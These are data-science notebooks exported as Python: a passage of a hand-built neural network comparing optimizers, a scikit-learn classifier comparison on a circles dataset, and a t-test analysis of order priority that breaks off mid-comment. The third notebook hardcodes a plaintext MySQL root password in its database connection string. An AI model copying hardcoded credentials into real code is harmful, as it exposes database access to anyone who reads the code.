\n# $ \\text{Involves a moving average of the } cache\\text{. Each update to the cache retains a part of the cache and updates it with a fraction of the new, squared, gradients} $\n\nclass RMSProp(Optimizer):\n\n def __init__(self, step=0.001, decay=1e-10, ε=1e-7, α=0.9):\n self.current_step = step\n self.step = step\n self.decay = decay\n self.iterations = 0\n self.ε = ε \n self.α = α\n \n def update_params(self,layer):\n if not hasattr(layer,'w_cache'):\n layer.w_cache = np.zeros_like(layer.w)\n layer.b_cache = np.zeros_like(layer.b)\n layer.w_cache = self.α*layer.w_cache + (1 - self.α)*layer.dw**2\n layer.b_cache = self.α*layer.b_cache + (1 - self.α)*layer.db**2\n\n layer.w += -self.current_step*layer.dw/(np.sqrt(layer.w_cache) + self.ε)\n layer.b += -self.current_step*layer.db/(np.sqrt(layer.b_cache) + self.ε)\n\n\n# #### $ \\underline{\\text{Adam}} $\n# $ \\text{Adds momentum to RMSprop} $
\n# $ \\bold{p}^{k+1} = \\frac{\\beta_1 \\bold{p}^k + (1-\\beta_1)\\nabla f(\\bold{x}^k)}{1-\\beta_1^{k+1}} $
\n#
\n# $ \\bold{c}^{k+1} = \\frac{\\beta_2 \\bold{c}^k + (1-\\beta_2)[\\nabla f(\\bold{x}^k)]^2}{1-\\beta_2^{k+1}} $
\n#
\n# $ \\bold{x}^{k+1}=\\bold{x}^{k} + s^k\\bold{p}^k[\\sqrt{\\bold{c}^k + \\varepsilon}]^{-1} $
\n\nclass Adam(Optimizer):\n\n def __init__(self, step=0.001, decay=1e-10, ε=1e-7, β_1=0.9,β_2=0.999):\n self.current_step = step\n self.step = step\n self.decay = decay\n self.iterations = 0\n self.ε = ε \n self.β_1 = β_1\n self.β_2 = β_2\n \n def update_params(self,layer):\n if not hasattr(layer,'w_cache'):\n layer.w_momentums = np.zeros_like(layer.w)\n layer.b_momentums = np.zeros_like(layer.b)\n layer.w_cache = np.zeros_like(layer.w)\n layer.b_cache = np.zeros_like(layer.b)\n # Update momentum with current gradients\n layer.w_momentums = self.β_1*layer.w_momentums + (1 - self.β_1)*layer.dw\n layer.b_momentums = self.β_1*layer.b_momentums + (1 - self.β_1)*layer.db\n # Corrected momentum\n w_momentums_corrected = layer.w_momentums/(1 - self.β_1**(self.iterations + 1))\n b_momentums_corrected = layer.b_momentums/(1 - self.β_1**(self.iterations + 1))\n # Update cache with square current gradients\n layer.w_cache = self.β_2*layer.w_cache + (1 - self.β_2)*layer.dw**2\n layer.b_cache = self.β_2*layer.b_cache + (1 - self.β_2)*layer.db**2\n # Corrected cache\n w_cache_corrected = layer.w_cache/(1 - self.β_2**(self.iterations + 1))\n b_cache_corrected = layer.b_cache/(1 - self.β_2**(self.iterations + 1))\n\n layer.w += -self.current_step*w_momentums_corrected/(np.sqrt(w_cache_corrected) + self.ε)\n layer.b += -self.current_step*b_momentums_corrected/(np.sqrt(b_cache_corrected) + self.ε)\n\n\n# # $ \\underline{\\text{Setting up the Model}} $\n\nclass Model():\n # Define whatever hyperparameters you'd like\n # We use 13 becasue 12=2/3*attributes + num_classes\n def __init__(self,hidden_neurons = 13):\n # Define number of attributes as well as number of neurons in the hidden layer\n self.input_layer = Layer_FC(9,hidden_neurons)\n # Activation function for the first layer\n self.activation1 = Activation_ReLU()\n # Dropout layer with probability of disabling neurons\n self.dropout1 = Layer_Dropout(0)\n # Define the final layer with outputs taking these values [0,1,2,3,4,5,6]\n self.layer2 = Layer_FC(hidden_neurons,7)\n # Loss function to calcluate from activation function\n self.loss_activation = Activation_Softmax_Loss_CategoryCrossEntropy()\n \n\n\n# # $ \\underline{\\text{Training Model Function}} $\n# Takes as an input the class of the optimisation method to use as well as number of models to train and then returns the array of accuracies for 51 epochs as well as the last model that was trained.\n\ndef train_model(method,num_models=10):\n # Initialise num of models and storage array\n acc_array = np.zeros((num_models,51))\n # Will create num_models number of models\n for k in range(num_models):\n model = Model()\n # Optimizer object created\n optimizer = method()\n for epoch in range(5001):\n # Forward pass, for activation function too\n model.input_layer.forward(batch)\n model.activation1.forward(model.input_layer.output)\n # Apply drop out mask \n model.dropout1.forward(model.activation1.output)\n # Forward pass on second layer, input is output of first layer (the activation output)\n model.layer2.forward(model.dropout1.output)\n # Forward pass through activation/loss function \n # Takes output of second layer and returns loss\n loss = model.loss_activation.forward(model.layer2.output,classfy)\n # Calculates regularization loss and adds to overall loss\n reg_loss = model.loss_activation.loss.regularization_loss(model.input_layer) + model.loss_activation.loss.regularization_loss(model.layer2)\n loss += reg_loss\n # Calculate the accuracy from output of activation2 and targets, for each row\n predictions = np.argmax(model.loss_activation.output,axis=1)\n\n accuracy = np.mean(predictions==classfy)\n if not epoch % 100:\n acc_array[k,epoch//100] = accuracy \n # print(f'epoch:{epoch},'+\n # f'acc:{accuracy},'+\n # f'loss:{loss:.3f},'+\n # f'lr:{optimizer.current_step}')\n # Backward pass\n model.loss_activation.backward(model.loss_activation.output,classfy)\n model.layer2.backward(model.loss_activation.dinputs)\n model.dropout1.backward(model.layer2.dinputs)\n model.activation1.backward(model.dropout1.dinputs)\n model.input_layer.backward(model.activation1.dinputs)\n # Update weights and biases\n optimizer.pre_update_params()\n optimizer.update_params(model.input_layer)\n optimizer.update_params(model.layer2)\n optimizer.post_update()\n # Returns the array that stores the accuracy over 51 epochs\n return acc_array, model\n\n\n# ## $ \\underline{\\text{Training Models}} $\n\n# SGD\nSGD_arr, SGD_trained = train_model(SGD)\nSGD_arr.tofile('SGD_13.csv',sep=',')\n# Adagrad\nAda_acc,Ada_trained = train_model(AdaGrad)\nAda_acc.tofile('Adagrad_13.csv',sep=',')\n# RMSprop\nRMSprop_acc, RMSprop_trained = train_model(RMSProp)\nRMSprop_acc.tofile('RMSprop_13.csv',sep=',')\n# Adam\nAdam_acc, Adam_trained = train_model(Adam)\nAdam_acc.tofile('Adam_13.csv',sep=',')\n\n# ## $\\underline{\\text{Plots of Models learning}} $ \n\n# +\n# Load all csv files\nSGD_plot = np.loadtxt('SGD_13.csv', delimiter=',')\nSGD_plot = SGD_plot.reshape((10,51))\n\nAdaGrad_plot = np.loadtxt('Adagrad_13.csv', delimiter=',')\nAdaGrad_plot = AdaGrad_plot.reshape((10,51))\n\nRMSprop_plot = np.loadtxt('RMSprop_13.csv', delimiter=',')\nRMSprop_plot = RMSprop_plot.reshape((10,51))\n\nAdam_plot = np.loadtxt('Adam_13.csv', delimiter=',')\nAdam_plot = Adam_plot.reshape((10,51))\n\nnames = ['Without Regularization (32 hidden neurons)','SGD','AdaGrad','RMSprop','Adam']\nplots = np.array([SGD_plot,AdaGrad_plot,RMSprop_plot,Adam_plot])\n\nsubplots_acc_error(plots,names)\n\n# +\n# Load all csv files\nSGD_plot = np.loadtxt('SGD.csv', delimiter=',')\nSGD_plot = SGD_plot.reshape((10,51))\n\nAdaGrad_plot = np.loadtxt('Adagrad.csv', delimiter=',')\nAdaGrad_plot = AdaGrad_plot.reshape((10,51))\n\nRMSprop_plot = np.loadtxt('RMSprop.csv', delimiter=',')\nRMSprop_plot = RMSprop_plot.reshape((10,51))\n\nAdam_plot = np.loadtxt('Adam.csv', delimiter=',')\nAdam_plot = Adam_plot.reshape((10,51))\n\nnames = ['Without Regularization (32 hidden neurons)','SGD','AdaGrad','RMSprop','Adam']\nplots = np.array([SGD_plot,AdaGrad_plot,RMSprop_plot,Adam_plot])\n\nsubplots_acc_error(plots,names)\n\n\n# -\n\n# # $ \\underline{\\text{Testing Model on Unseen data}} $\n# $ \\text{Takes Model object as input and calculates the loss and accuracy of the model}$\n\ndef test_model(model,method):\n # Forward pass\n model.input_layer.forward(batch_tst)\n model.activation1.forward(model.input_layer.output)\n model.layer2.forward(model.activation1.output)\n # Calculate loss\n loss = model.loss_activation.forward(model.layer2.output,classfy_tst)\n predictions = np.argmax(model.loss_activation.output,axis=1)\n accuracy = np.mean(predictions==classfy_tst)\n print(f'validation of {method} => acc:{accuracy:.3f},loss:{loss:.3f}')\n\n\n\ntest_model(SGD_trained,'SGD')\ntest_model(Ada_trained,'AdaGrad')\ntest_model(RMSprop_trained,'RMSprop')\ntest_model(Adam_trained,'Adam')\n\n# # $ \\underline{\\text{Testing using Regularization}} $\n# $ \\text{We will compare using RMSprop and Adam since they are the best performing models. First we will use L1 and L2 regularization} $
\n# $ \\text{ and then we will implement a dropout layer. The result is what we expect, a drop in the model's accuracy. This is what we expect because } $
\n# $ \\text{Regularization is a means to reduce overfitting by reducing the dependancy on the training data and so would decrease the accuracy.} $ \n\n# RMSprop (L1 and L2)\nRMSprop_reg, RMSprop_trained_reg = train_model(RMSProp)\nRMSprop_reg.tofile('RMSprop_reg.csv',sep=',')\n# Adam (L1 and L2)\nAdam_reg, Adam_trained_reg = train_model(Adam)\nAdam_reg.tofile('Adam_reg.csv',sep=',')\n# RMSprop (Dropout)\nRMSprop_reg, RMSprop_trained_reg_drop = train_model(RMSProp)\nRMSprop_reg.tofile('RMSprop_reg_drop.csv',sep=',')\n# Adam (Dropout)\nAdam_reg_drop, Adam_trained_reg_drop = train_model(Adam)\nAdam_reg_drop.tofile('Adam_reg_drop.csv',sep=',')\n\n# +\n# Load all csv files\nRMSprop_plot_1 = np.loadtxt('RMSprop_reg.csv', delimiter=',')\nRMSprop_plot_1 = RMSprop_plot_1.reshape((10,51))\n\nAdam_plot_1 = np.loadtxt('Adam_reg.csv', delimiter=',')\nAdam_plot_1 = Adam_plot_1.reshape((10,51))\n\nRMSprop_plot_2 = np.loadtxt('RMSprop_reg_drop.csv', delimiter=',')\nRMSprop_plot_2 = RMSprop_plot_2.reshape((10,51))\n\nAdam_plot_2 = np.loadtxt('Adam_reg_drop.csv', delimiter=',')\nAdam_plot_2 = Adam_plot_2.reshape((10,51))\n\n# Create plot\nnames = ['Top: L1 & L2 Regularization, Bottom: Dropout (32 hidden neurons)','RMSprop','Adam','RMSprop','Adam']\nplots = np.array([RMSprop_plot_1,Adam_plot_1,RMSprop_plot_2,Adam_plot_2])\nsubplots_acc_error(plots,names)\n# -\n\ntest_model(RMSprop_trained_reg,'RMSprop (L1 & L2 regularization)')\ntest_model(Adam_trained_reg,'Adam (L1 & L2 regularization)')\ntest_model(RMSprop_trained_reg_drop,'RMSprop (Dropout)')\ntest_model(Adam_trained_reg_drop,'Adam (Dropout')\n\n\n","repo_name":"Danny-dude/Shuttle-Problem-Neural-Network-","sub_path":"Model.ipynb","file_name":"Model.ipynb","file_ext":"py","file_size_in_byte":27034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"8688253667","text":"# # Classification with Unusual, Non-Linear Data\n\n# I recently discovered the sklearn.datasets package and, being the naturally curious person that I am, I'd like to see how different classification models perform with unusual, non-linear data.\n#\n# I am going to measure accuracy (via repeated k-fold cross-validation) on the following models:\n# * Logistic Regression\n# * Naive Bayes\n# * KNearest Neighbors\n# * Support Vector Machines\n# * Decision Trees\n# * Random Forest\n# * Gradient Boosted Trees\n# * Multi-layer Perceptron, i.e. Neural Network\n#\n\n# ## The Circle Dataset\n\n# The sklearn.datasets package contains a make_circles function, which generates a large circle and smaller circle in 2-d.\n#\n# Let's generate some data with the make_circles function!\n#\n# Here are some imporant parameters:\n#\n# * n_samples = the number of samples to generate\n# * noise = the standard deviation of the white noise added to the data\n# * random_state = the seed used for white noise generation\n# * factor = the scale factor between inner and outter circle.\n#\n# Note: A smaller scale factor increases the distance between the inner and outter circle.\n\nfrom sklearn.datasets import make_circles\nX, y = make_circles(n_samples=5000, noise = 0.1, random_state = 33, factor = 0.15)\n\n# A plot of the circle distance is shown below.\n\n# +\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\nplt.figure(figsize = [11,8])\nplt.title(\"The Circle Dataset\")\nreds = y == 0\nblues = y == 1\n\nplt.scatter(X[reds, 0], X[reds, 1], c=\"red\",\n s=20, edgecolor='k')\nplt.scatter(X[blues, 0], X[blues, 1], c=\"blue\",\n s=20, edgecolor='k')\nplt.xlabel(\"$X_1$\")\nplt.ylabel(\"$X_2$\")\nplt.show()\n# -\n\n# Doesn't look very hard for us humans to predict the label, now does it?\n#\n# Before turning to the models, let me briefly mention the model selection method.\n\n# ## Accuracy and Cross-validation\n\n# To determine how well the model is performing, I'll be measuring the model's accuracy. In binary classification, accuracy is defined to be the number of __true positives__ + the number of __true negatives__ over the sum of all observations, where true positives (true negatives) are correct predictions of the depdendent variable equal to 1 (0).\n#\n# I'll import the cross_val_score function from the model_selection library. When evaluating models, I'll pass the string \"accuracy\" to the scoring parameter.\n\nfrom sklearn.model_selection import cross_val_score\n\n# Now, I'll be measuring accuracy in the test folds of a K-Fold cross-validator. Specifically, I'll use repeated, stratified K-fold cross-validation with 5 folds and 10 repeats. The \"stratified\" part of repeated, stratified K-fold cross-validation means that data is separated into folds so that each fold has the same proportion of dependent variable's class. For example, if the data is 80% red points and 20% blue points and the color is the dependent variable, then each fold will have approximately 80% red and 20% blue points.\n#\n# I'll import the cross-validator now.\n\nfrom sklearn.model_selection import RepeatedStratifiedKFold\n\n# On to the models!\n\n# ## Logistic Regression\n\n# [Logistic Regression](https://en.wikipedia.org/wiki/Logistic_regression) is a statistical model, assuming that the dependent variable, Y, is binomially distributed with a mean equal to a linear combination of the independent variables. The probability that Y takes on a certain value is the [logistic function](https://en.wikipedia.org/wiki/Logistic_function) applied to a linear combination of the indepdent variables. Most software packages, including the Scikit-Learn library, use 0.5 as the cut-off score when making a prediction.\n#\n# Let's see how Logistic Regression performs on the circle dataset.\n\nfrom sklearn.linear_model import LogisticRegression\nmodel = LogisticRegression(random_state = 33)\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"Logistic Regression\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# Let's see the results as a box plot.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"Logistic Regression\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# This is not very good. If I were a betting man, I'd wager the opposite of whatever Logistic Regression is predicting.\n\n# ## Naive Bayes\n\n# [Naive Bayes](https://en.wikipedia.org/wiki/Naive_Bayes_classifier) is another statistical model, that 'naively' makes a strong assumption about the independence of the independent variables. In naive bayes, the probability of a certain class given the data is the product of the probability of that class and the probability of the indepndent variable given the class, for each independent variable.\n#\n# The [GaussianNB](https://scikit-learn.org/stable/modules/generated/sklearn.naive_bayes.GaussianNB.html#sklearn.naive_bayes.GaussianNB) function assumes that each independent variable, given a class, is normally distributed. \n#\n# Lastly, the predicted class is the class with maximum probability, even if all probabilties are tiny.\n#\n# Let's see how Naive Bayes performs.\n\nfrom sklearn.naive_bayes import GaussianNB\nmodel = GaussianNB()\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"Naive Bayes\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# Here's a boxplot of the results.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"Naive Bayes\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# This is much better than Logistic Regression. It would be premature to say we've found a winner, because we have quite a few more models to test.\n\n# ## K Nearest Neighbors\n\n# [K Nearest Neighbors](https://en.wikipedia.org/wiki/K-nearest_neighbors_algorithm) is an incredibly simple algorithm for making predictions. In K Nearest Neighbors, the most common class of the K nearest observations in the training data is used to make a prediction.\n#\n# The [KNeighborsClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.neighbors.KNeighborsClassifier.html#sklearn.neighbors.KNeighborsClassifier) has 5 as the default value for K.\n#\n# Let's check out K Nearest Neighbors.\n\nfrom sklearn.neighbors import KNeighborsClassifier\nmodel = KNeighborsClassifier()\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"K Nearest Neighbors\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# Here's the boxplot.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"K Nearest Neighbors\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# We have a winner. Accuracy is 100% on all test folds.\n#\n# Still, let's check out the other models.\n\n# ## Support Vector Machines\n\n# The [Support Vector Machine](https://en.wikipedia.org/wiki/Support-vector_machine) algorithm finds the linear combination of independent variables and weights that separate the dataset into hyperplanes with the widest margin between the classes. To handle non-linearity a [kernel](https://en.wikipedia.org/wiki/Kernel_method) function can be used to transform the feature space and make better predictions.\n#\n# By default, the [SVC](https://scikit-learn.org/stable/modules/generated/sklearn.svm.SVC.html#sklearn.svm.SVC) uses a radial-basis kernel function.\n#\n# Time to test support vector machines.\n\nfrom sklearn.svm import SVC\nmodel = SVC()\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"Support Vector Machine\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# Another winner! Let's see that flat line of a boxplot.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"Support Vector Machine\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# ## Decision Trees\n\n# The [Decision Tree](https://en.wikipedia.org/wiki/Decision_tree) is a greedy algorithm that finds the variable and value that best splits the dataset in two, then splits the dataset and repeats until there are no more observations to split on or the tree has reached a maximum depth (or perhaps some other stopping condition). \n#\n# By default, the [DecisionTreeClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.tree.DecisionTreeClassifier.html#sklearn.tree.DecisionTreeClassifier) function uses [Gini Impurity](https://en.wikipedia.org/wiki/Decision_tree_learning#Gini_impurity) to find the best variable and value to split on.\n#\n# Let's check out the decision tree's performance on the circle dataset.\n\nfrom sklearn.tree import DecisionTreeClassifier\nmodel = DecisionTreeClassifier()\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"Decision Tree\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# Here's a boxplot of the test fold accuracies.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"Decision Tree\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# The decision tree isn't perfect, but at a 99.8% mean accuracy is much better than results from Logistic Regression.\n#\n# Perhaps ensembles of trees will fair better?\n\n# ## Random Forest\n\n# The [Random Forest](https://en.wikipedia.org/wiki/Random_forest) algorithm makes predictions with a majority vote from a collection of decision trees. To make sure that the decision trees aren't all the same, Random Forest samples the entire dataset with replacement each time a tree is grown. For even more variation, Random Forest also randomly selects independent variables when each tree is searching for the best variable and value to split on.\n#\n# Let's see how Random Forest performs.\n\nfrom sklearn.ensemble import RandomForestClassifier\nmodel = RandomForestClassifier(random_state = 33)\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"Random Forest\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# And here's the boxplot.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"Random Forest\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# Random Forest is slightly better than the single Decision Tree. At least one test fold had a 100% accuracy.\n#\n# Still, there's another ensemble of trees we can test.\n\n# ## Gradient Boosted Trees\n\n# [Gradient Boosting](https://en.wikipedia.org/wiki/Gradient_boosting) is a method for building a strong classifier from a series of weak classifiers. In gradient boosting, each additional classifier is fit to the model's _pseudo residuals_, then weighted and summed with the model's previous weak learners. Of course, I'm abstracting away and ignoring several key details.\n#\n# In this test, I'll use Scikit-Learn's [GradientBoostingClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.GradientBoostingClassifier.html#sklearn.ensemble.GradientBoostingClassifier).\n\nfrom sklearn.ensemble import GradientBoostingClassifier\nmodel = GradientBoostingClassifier(random_state = 33)\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"Boosted Trees\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# Here's a boxplot of the test fold accuracies.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"Boosted Trees\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# All but one test fold had a 100% accuracy.\n\n# ## Multi-layer Perceptron\n\n# The [Artificial Neural Network](https://en.wikipedia.org/wiki/Artificial_neural_network) model is also called the Multi-Layer Perceptron. Multi-Layer Perceptron, as the name implies, is composed of layers of the [Perceptron](https://en.wikipedia.org/wiki/Perceptron) models. The analogy here is that the Perceptrons are like individual neurons in the brain, which is the Artificial Neural Network. There are tons of articles and tutorials on Neural Networks, so I won't go into details here.\n#\n# I'll test Scikit-Learn's [MLPClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.neural_network.MLPClassifier.html#sklearn.neural_network.MLPClassifier) with two hidden layers of size 8 and 4, and rectified linear unit (relu) [activation function](https://en.wikipedia.org/wiki/Activation_function).\n\nfrom sklearn.neural_network import MLPClassifier\nmodel = MLPClassifier(hidden_layer_sizes = (8,4), random_state = 33, max_iter = 1000)\nkfold = RepeatedStratifiedKFold(random_state = 33)\ncv_results = cross_val_score(model, X, y, cv=kfold, scoring=\"accuracy\")\nmsg = \"%s: %f (%f)\" % (\"Neural Network\", cv_results.mean(), cv_results.std())\nprint(msg)\n\n# Here's that solid line boxplot.\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nplt.boxplot(cv_results)\nplt.xticks([], [])\nplt.xlabel(\"Neural Network\")\nplt.ylabel(\"Accuracy\")\nplt.show()\n\n# Now, I'll admit that I had fiddled around with this function and changed the hidden_layer_sizes and max_iter parameters to get this result. Still, the purpose was just to show that this model can figure out the circle dataset.\n\n# ## Conclusion\n\n# In this project I tested several models on a generated circle dataset. Here are my key findings:\n#\n# * Logistic Regression performs very poorly at this task.\n# * Decision Trees, and Naive Bayes perform very well using default parameter settings.\n# * Gradient Boosted Trees is more accurate than Random Forest, which is more accurate than a single Decision Tree.\n# * Support Vector Machine (with a rbf kernel) and K-Nearest Neighbor easily achieve 100% accuracy on this dataset.\n# * Neural Networks can achieve 100% accuracy, but you'll have to fiddle around with the parameters.\n#\n# As always, thanks for reading.\n\n\n","repo_name":"mwtichen/Circle-Classification","sub_path":"CIRCLE_CLASSIFICATION.ipynb","file_name":"CIRCLE_CLASSIFICATION.ipynb","file_ext":"py","file_size_in_byte":14082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"19207541524","text":"# # task 7\n\n# Request :\n# In the past, the company had a policy that assigned a level of importance to orders and acted differently in some issues (such as how to send, etc.) To check whether this policy is worth the company's hardships or not?\n# Solution :\n# To check if the policy is worth the company's hardships, you can perform hypothesis testing. You may use a t-test or ANOVA to compare the importance of orders with and without the policy.\"\n#\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport scipy.stats as stats \nimport statsmodels.api as sm\n\n\n# +\n# connect to data base \nfrom sqlalchemy import create_engine, Column, Integer, String, MetaData, Table\n\n# Initialize SQLAlchemy Metadata object\nmeta = MetaData()\n# Define database connection details\nUSERNAME = 'root'\nPASSWORD = '1393ram1393#$'\nSERVER = 'localhost'\n# Create a SQLAlchemy engine for connecting to the MySQL database\nengine = create_engine(f'mysql+pymysql://{USERNAME}:{PASSWORD}@{SERVER}:3306/Laptop_analysis_and_Warehousing_g3', echo=True)\nconn = engine.connect()\n\n# +\nmetadata = MetaData()\n\n# Replace \"your_table_name\" with the name of your table\ntable_name = \"order\"\n\nyour_table = Table(table_name, metadata, autoload=True, autoload_with=engine)\n\n\n# +\n# Define the columns you want to read\nfrom sqlalchemy.orm import sessionmaker\n\n# Initialize SQLAlchemy session\nSession = sessionmaker(bind=engine)\n\n# Assuming you have a session and SQLAlchemy model defined as mentioned before\nsession = Session()\n\n# Define the columns you want to read\nPrice = your_table.c.Total_Price\nProfit = your_table.c.Profit\nPriority = your_table.c.Order_Priority\nship_date = your_table.c.Ship_Duration\n\n# Query the database to fetch the data for the specified columns\nresults = session.query(Price, Profit, Priority, ship_date).all()\n\n# Convert the results to a Pandas DataFrame\ndata = [(row[0], row[1], row[2], row[3]) for row in results]\ndf_order = pd.DataFrame(data, columns=[\"Price\", \"Profit\", \"Priority\", \"ship_date\"])\ndf_order\n# -\n\n# close the session of database \nsession.close()\n\n# close the connection of database \nconn.close()\n\nfrom sklearn.preprocessing import LabelEncoder\nlabel_encoder = LabelEncoder()\ndf_order['Priority'] = label_encoder.fit_transform(df_order['Priority'])\ndf_order\n\n# Split the DataFrame based on 'column_name'\nvalue_to_split_on = 1 # Change this to the desired value\nHigh_priority = df_order[df_order['Priority'] <= value_to_split_on]\nLow_priority = df_order[df_order['Priority'] > value_to_split_on]\n\nHigh_priority\n\nLow_priority\n\n# Perform the t-test for the two groups of high and low priority orders based on ship_duration\nt_stat, p_value = stats.ttest_ind(High_priority['ship_date'], Low_priority['ship_date'])\n# Print the results\nprint(f'T-Statistic: {t_stat}')\nprint(f'P-Value: {p_value}')\n\n# +\n\n# Interpret the results\nif p_value < 0.05:\n print('The means are significantly different.')\nelse:\n print('No significant difference found.')\n# -\n\n# describe the t-test for the two groups of high and low priority orders based on ship_date\n# In practical terms, the results of this t-test suggest that there is a substantial and statistically significant difference in the time it takes to ship high priority orders compared to low priority orders. High priority orders appear to have a significantly shorter \"ship_duration\" on average, which may have implications for order processing and delivery efficiency.\n#\n#\n\n# assumption of T-test for the two groups of high and low priority orders based on profit\n# \n\n# Calculate the average profit for each group\nHigh_priority_avg = High_priority['ship_date'].mean()\nLow_priority_avg = Low_priority['ship_date'].mean()\nprint(f'high_priority_avg :{High_priority_avg}')\nprint(f'low_priority_avg :{Low_priority_avg}')\n\n# Check the assumptions\n# Assumption 1: Independence of Observations\n# Nothing to code here; it's assumed based on the data structure.\n'''Independence of Observations: The observations in each group must be independent of each other. This means that the value of one observation should not be influenced by or related to the values of other observations. If you have paired data, such as before-and-after measurements, you should use a paired samples t-test.\n'''\n\n# Assumption 2: Normality\n# Check normality using Q-Q plots and Shapiro-Wilk test\n'''Normality: The data in each group should follow a roughly normal distribution. Normality is important because the t-test assumes that the sampling distribution of the means is normally distributed. You can check for normality using methods like histograms, Q-Q plots, or formal statistical tests (e.g., Shapiro-Wilk test).\n'''\nqqplot_column1 = sm.qqplot(High_priority['ship_date'], line='s')\nqqplot_column2 = sm.qqplot(Low_priority['ship_date'], line='s')\nshapiro_column1 = stats.shapiro(High_priority['ship_date'])\nshapiro_column2 = stats.shapiro(Low_priority['ship_date'])\n\n# Assumption 3: Homogeneity of Variance\n# Check homoscedasticity using Levene's test\n'''Homogeneity of Variance: The variances in the different groups being compared should be approximately equal (homoscedasticity). This assumption is important because the t-test assumes that the standard deviations of the two groups are equal. You can check for homogeneity of variance using statistical tests like Levene's test or by examining the spread of data within groups.\n'''\nlevene_test = stats.levene(High_priority['ship_date'], Low_priority['ship_date'])\nlevene_test\n\n# Check and print the results of the assumptions\nprint(f'Shapiro-Wilk Test - Column 1: W={shapiro_column1[0]}, p={shapiro_column1[1]}')\nprint(f'Shapiro-Wilk Test - Column 2: W={shapiro_column2[0]}, p={shapiro_column2[1]}')\nprint(f'Levene Test: W={levene_test[0]}, p={levene_test[1]}')\n\n\n\n# # T_test for Profit\n\n# Perform the t-test for the two groups of high and low priority orders based on profit\nt_stat, p_value = stats.ttest_ind(High_priority['Profit'], Low_priority['Profit'])\n# Print the results\nprint(f'T-Statistic: {t_stat}')\nprint(f'P-Value: {p_value}')\n\n# Interpret the results\nif p_value < 0.05:\n print('The means are significantly different.')\nelse:\n print('No significant difference found.')\n\n# describe high priority orders and low priority orders based on profit\n# With a t-statistic of approximately -1.0977 and a p-value of 0.2723, the results suggest that you do not have strong statistical evidence to conclude that there is a significant difference in profit between high priority and low priority orders. In other words, you cannot confidently say that the profit levels of these two groups are different based on this t-test. The observed difference in profit could likely be due to random variation.\n\n# Check the assumptions\n# Assumption 1: Independence of Observations\n# Nothing to code here; it's assumed based on the data structure.\n'''Independence of Observations: The observations in each group must be independent of each other. This means that the value of one observation should not be influenced by or related to the values of other observations. If you have paired data, such as before-and-after measurements, you should use a paired samples t-test.\n'''\n\n# Assumption 2: Normality\n# Check normality using Q-Q plots and Shapiro-Wilk test\n'''Normality: The data in each group should follow a roughly normal distribution. Normality is important because the t-test assumes that the sampling distribution of the means is normally distributed. You can check for normality using methods like histograms, Q-Q plots, or formal statistical tests (e.g., Shapiro-Wilk test).\n'''\nqqplot_column1 = sm.qqplot(High_priority['Profit'], line='s')\nqqplot_column2 = sm.qqplot(Low_priority['Profit'], line='s')\nshapiro_column1 = stats.shapiro(High_priority['Profit'])\nshapiro_column2 = stats.shapiro(Low_priority['Profit'])\n\n# Assumption 3: Homogeneity of Variance\n# Check homoscedasticity using Levene's test\n'''Homogeneity of Variance: The variances in the different groups being compared should be approximately equal (homoscedasticity). This assumption is important because the t-test assumes that the standard 